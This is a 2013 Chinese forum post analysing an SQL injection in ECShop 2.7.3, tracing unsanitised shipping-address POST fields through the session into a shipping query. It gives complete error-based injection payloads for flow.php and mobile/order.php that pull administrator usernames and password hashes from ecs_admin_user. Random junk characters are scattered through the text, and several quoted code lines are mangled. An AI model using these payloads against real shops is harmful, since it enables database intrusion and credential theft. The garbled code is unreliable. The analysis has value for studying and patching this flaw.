找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1971|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
, s7 P# N. ]: ~% `$ I' i
" G% {& G% Z* r- o* E) B) {    漏洞关键文件:
2 X. o0 S6 F  L! J8 W6 b0 O4 ~' Q/ S# `1 s' _3 q; Q
    /includes/lib_order.php( [- z3 ]9 Z4 \; v7 g
( t3 N% u1 u2 P" x! c$ d% o2 `
    关键函数:
. u. k& K. x# p$ E
/ K: H/ ^3 u) a% M" R' J3 G" {, l
- ~- g3 [" q1 O5 [( j% `: n' z! o2 |( U; R* m9 m' r
01     function available_shipping_list($region_id_list) . p' h  Q/ o2 D" t5 @
8 a4 G& z! }5 i2 p* a
02 { 2 t& y, l5 E: n* u" s4 k/ {9 @4 J

, a9 Z! ~$ A. j3 V% n5 }03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . " a5 W( @; }( B8 W" F$ Y- f* y
5 O5 r) _0 K, m7 N9 F) d
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . " G. ~, i% `& ?: }2 J

6 E7 g* x) P: z7 i9 ?05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . , R( s6 e! i4 @% E$ w$ h; v

( l& v2 l- |! v* y06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
' T' |, n5 R/ j. c; h
/ u; j5 K$ ?9 u07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 z" `$ P5 D* n3 d( _
* N( X" a" Y$ d" }: m+ D
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
9 r& \' G9 @. h. [' j. g7 Q8 b0 c( y0 N$ n
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 X7 _3 F8 Z- O" `1 ?2 T
" ]" d6 e' b! h  b/ B0 P
10   
2 d$ Y# F  _- j( Z! @' J5 Q8 d: Y8 t8 A. K; ~
11     return $GLOBALS['db']->getAll($sql);   e9 X! h" Q; C; C3 s

, W" S1 |8 W  V2 y12 }
; |! F, d/ a) @2 `  O
; k( }+ {0 ]  O8 x* @; ?显然对传入的参数没有任何过滤就带入了查询语句。9 q9 n0 a; Z* O7 V1 j+ l4 H$ t
, L2 r: Q/ W9 z3 y$ |
下面我们追踪这个函数在flow.php中:7 n) P* m# x! _: s/ a0 \0 c
第531行:   / Z7 F" z! K, P! b8 S5 E) ]1 U
& m. g: `1 ^1 [. T
1 $shipping_list     = available_shipping_list($region); 6 y6 |! S& q7 r; e9 j  `1 K  Y
9 B* d& W3 j, p& q+ P1 D
  r+ _  ]( `' K2 g6 f# k, A. E

$ T: }/ v  K& b  D ; E( N" |: F& s6 D9 W

. z" g/ `+ G4 C$ r3 G' X再对传入变量进行追踪:
5 d) @6 L9 [! D
. O8 J. _5 \3 V第530行:    ' j4 _7 F( |: [/ K( }

; s$ w) d. x" }5 V( G! S1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
" t/ ], E' l. q% v( d
& d* Y! O9 r' R7 s: o 9 ]. C  {9 T: k" F( X$ Z+ S

- l0 R- o0 |+ Z5 t. i. o# O% O. z
  w: H0 s! |4 M1 e' j
4 G. b) q) O0 Z6 a: c( L第473行:        
4 v1 r  R. _' \5 T2 N4 ?4 T0 I  z0 W
1 $consignee = get_consignee($_SESSION['user_id']); * r3 z( x9 |' k# }# E, M, A* z; H8 K

% C$ K( A% x1 ^5 z, N, p9 D6 Z到了一个关键函数:
, V1 }% \% N+ q4 N, R" H) w3 @, V: z! h/ n3 F2 ^2 Y; _1 L+ T1 ^
/includes/lib_order.php
4 r, K4 p% F% ~: Q* c& X- w( {. s$ [6 j
( s, [: b8 ^& H1 ^  J) x2 O
! M3 Y6 a) i% V/ R
/ a: s; ], F* w$ \! d
, y# M& B0 G- [! A0 F
01 function get_consignee($user_id)
; Z6 v, X+ R# x, Y+ b( w& |1 |: t# X7 Z; V" z
02 { / t% b" J7 H6 {. S3 G- p

. r9 W, _3 m, z' d9 k+ j+ Y3 A8 z03     if (isset($_SESSION['flow_consignee']))
2 x8 V! v- B, o. X) o$ S( O9 L$ Z1 P& S( o! X* m) t1 ]
04     { ) k* K$ O1 w/ b! R* z* ^& w
, f; ]+ U7 _5 H% B
05         /* 如果存在session,则直接返回session中的收货人信息 */
) Z% ~& \( e) p0 }$ _( J
6 M0 O- t/ l! [3 u( c! n06   
0 T0 ~9 V2 a- v  Q+ o0 T/ W' K/ m  g4 ^7 s2 t' ~5 i
07         return $_SESSION['flow_consignee'];
7 |; ^. e# j) f! }( X6 a* Z1 n  U6 F
! c% I& x3 p7 F8 l1 k2 d08     } ' X5 l5 q* f5 k6 a6 s
* l' b+ |& `" v* l' v  B3 l
09     else 1 P7 N6 L/ g" O

" x7 |" X2 }; I9 G, F" [5 K# |10     { 3 H/ ]; D* s0 K$ l; p
, @! [7 l5 Q! j" Y) b4 V
11         /* 如果不存在,则取得用户的默认收货人信息 */
, s! w  Q8 w  v$ o+ O
: D) [$ J, N) [/ q12         $arr = array();
5 x: L! H1 i) @  B" D: {% E
. @. G+ f4 p" H* I& L13   
4 A  o8 {  Q$ L* Y! N- x8 k
' u* `7 u! y; L! V3 |* r14         if ($user_id > 0)
" U- F/ }5 @; V. Q5 l6 n" O
' X- I) S$ Q' ]( K0 U  ~/ d15         {
; e4 J) O3 a, W( v* G
) X7 z% z1 \! V% v* X16             /* 取默认地址 */ % e! O+ K+ z2 n
$ l. M( X$ s  ?1 P+ F6 ^
17             $sql = "SELECT ua.*". 8 N- c1 v6 Z7 D% h5 Q4 N: T
/ `4 I! Y0 g% \4 ?+ `
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
- s2 @- u! g1 D
0 j( p: h4 T! l1 H  X19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 0 x( I$ ]: t/ S2 R3 I8 ~3 [# e
  w( h! |1 k! C+ l
20   
9 B  L% A& ^3 s7 K- z  E
2 l- o4 C- m7 ?- q$ Q+ k* |. ^21             $arr = $GLOBALS['db']->getRow($sql); ( ~$ o! _- y  W; H
  ^5 r' D. w  }1 C1 C8 B! l
22         } 3 e8 n( b* Q0 H
( E% t2 Q, R% L
23   
% ~0 D' s# r; O* q
' @% d' j' }3 j( I& [24         return $arr; $ J% R( T$ }- ?% y

6 h, H% z" y8 J25     }
0 v$ ]' [7 A* w% C5 H
$ H. q% K3 c" u' a4 l/ y: L$ q26 }
" J3 g5 p5 ~# g
/ E% j9 v9 l& D& G1 @6 U) r7 f0 I+ ?显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?. C! @- u+ n# z) @: `. j2 ?

% j3 W* i5 n: R# r# d 6 D$ g4 g7 w1 X5 L/ \

  Q# U9 ^) A: T+ l关键点:
5 U% V8 B% f9 M1 C# z5 f" h# V
8 ~2 A& ~. \# s第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: `) h6 h, d1 k. V- A$ r
1 F1 Z  A: a. X1 c7 k* h
这里对传入参数反转义存入$_SESSION中。8 W) ]5 d. B) a/ D6 G2 C
$ c9 R" Y9 u4 Q- U
8 l2 ]' r, n: C, N5 ~" `  S

- {3 V' S- I6 H然后看下:
# Z) C; L* P& G2 m, M* m7 Z& G
/ P" [# Y" F9 K1 i' [ % ]  I! Q/ d; G( A
& l, }( ?/ e7 H, ^) z" u- [, Q7 X
   
- r5 t5 u* N' F) w  {  M
' h% b* @. a0 t  |+ G01 $consignee = array( 1 O$ D2 _/ C3 v# i0 ?; D

& ]4 M# u! B. f' X) Z0 K02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  O( R) b$ E! L! ~+ ?
/ Z/ L, r! S2 ~5 ?) J& C03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
4 x2 ?' f) [' p  P# H6 V- }
  b$ d% L3 ?' }, T& F1 F9 j04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- a& n8 `& o; G( c+ b% X0 G
6 G2 a' C* L* K- G4 M05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 3 f& O, h& W/ V
0 Z9 v% s$ j4 w: r! l
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], ' R; y, T- U$ {  v8 i! R
! W! E3 n1 L- i/ m" S. E: s( E
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
8 D) c" h$ G& m1 i: d
2 J* R5 k9 t4 H( z1 y4 h- v08         'email'         => empty($_POST['email'])      ? '' _POST['email'], " c* Y$ u* f0 J) {0 d' {/ w
% k. S4 ?; G% ^% N$ c; i
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], & x1 X( \/ y6 \5 p9 q' B

2 s" ?9 s2 K# @1 b+ @' g. Z: w& v10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 5 U8 h* R0 J! ^* u! ]& n

5 N* D, n; z7 \. `  t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
9 l0 z) |5 G. y+ A' Q; Z, P$ I
: w0 I, ^4 m3 ]: L! r+ D6 o12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), + H! O" i# J3 N

% T# E6 P# i3 k' v; X13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
; f: E- \- P5 ^1 n1 b! V
+ V3 F5 F2 B. l14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ! z, @, N1 t- V4 l$ }, r) m

8 c1 N/ s6 d. {( V15     ); : M2 h9 ~- V  ?) p1 Y' b# L

0 W8 \( [' j+ J好了注入就这样出现了。
9 q7 K- }+ q' \
& S; X; s6 k% O. P& i==================
; ?2 {6 Y' Q3 Q  t' D: {
. V* Y. m2 f3 H: g) {) |8 R注入测试:6 N) A# r- x; E% h. Q" u
) l% Q+ N) F/ l7 `: h9 k
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16). b7 w8 J( o9 z. ?

& E* w' x- D: K8 q: Z! _测试程序:ECShop_V2.7.3_UTF8_release1106
8 x% p+ r3 \: @+ a6 A6 I( g) V+ g; w! |( ]; T" G1 y3 H
; V: ^( q5 N( Y' k

9 P( y' k" k/ Y9 y; C0 E: k: Z( N1.首先需要点击一个商品加入购物车
1 S5 O4 y/ G7 ~
+ v6 r" e4 A# d  a4 v* }& X* i! x2.注册一个会员帐号: ?) W5 ^# a9 x
+ m  O( e5 K6 j# M3 H
3.post提交数据
9 ?0 ?2 f: T! Y- N# p# k
/ V2 A+ i  y- u# B  k3 |- b. R0 u / x) m6 K7 F( O
2 G( W/ ?) q9 e3 r' Y2 ?
1 http://127.0.0.1/ecshop/flow.php : H2 g& L) K" s7 G/ P" K
, x9 {- Q( p- d. u
2   
1 r3 k7 a4 u/ T% k7 E4 Q# m; i& d& v: ?  ^  V& \
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
6 @4 R! n0 ]1 m/ }% o举一反三,我们根据这个漏洞我们可以继续深入挖掘:
) O- ~, V- L$ x1 E; E6 L0 E  }0 b$ |$ }
我们搜寻关键函数function available_shipping_list()6 J" U1 {& A% ?: F# n2 i" Q

: t9 v. B' c) Z  U在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
5 W& |3 ]& s7 t6 s$ e
' Z6 V0 Y; m) @+ R$ M利用exp:. F  Y7 n# ^& G* @
8 a8 l' W! s" o" f
1.点击一个商品,点击购买商标
3 s0 @( t5 I/ M# X9 c& [- J6 V" F6 y" x, F4 p/ P' g
2.登录会员帐号
" t6 e! q: F  T3 J: G! [( E$ ?8 Q9 e2 N
3.post提交:
9 {+ c. E, p( \2 Y% Q6 n' B) ]: k7 l/ A3 Z9 C. l/ x7 P; r
http://127.0.0.1/ecshop/mobile/order.php% ?0 h  ~" i" t, N

1 I& [& I- [( q   F/ h: J; \! }- U5 P

0 ?, n' {% I( T  ?country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
* K: v6 l& Q& T0 {7 g# W
3 m! T1 z7 a7 P; D) z0 r4 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表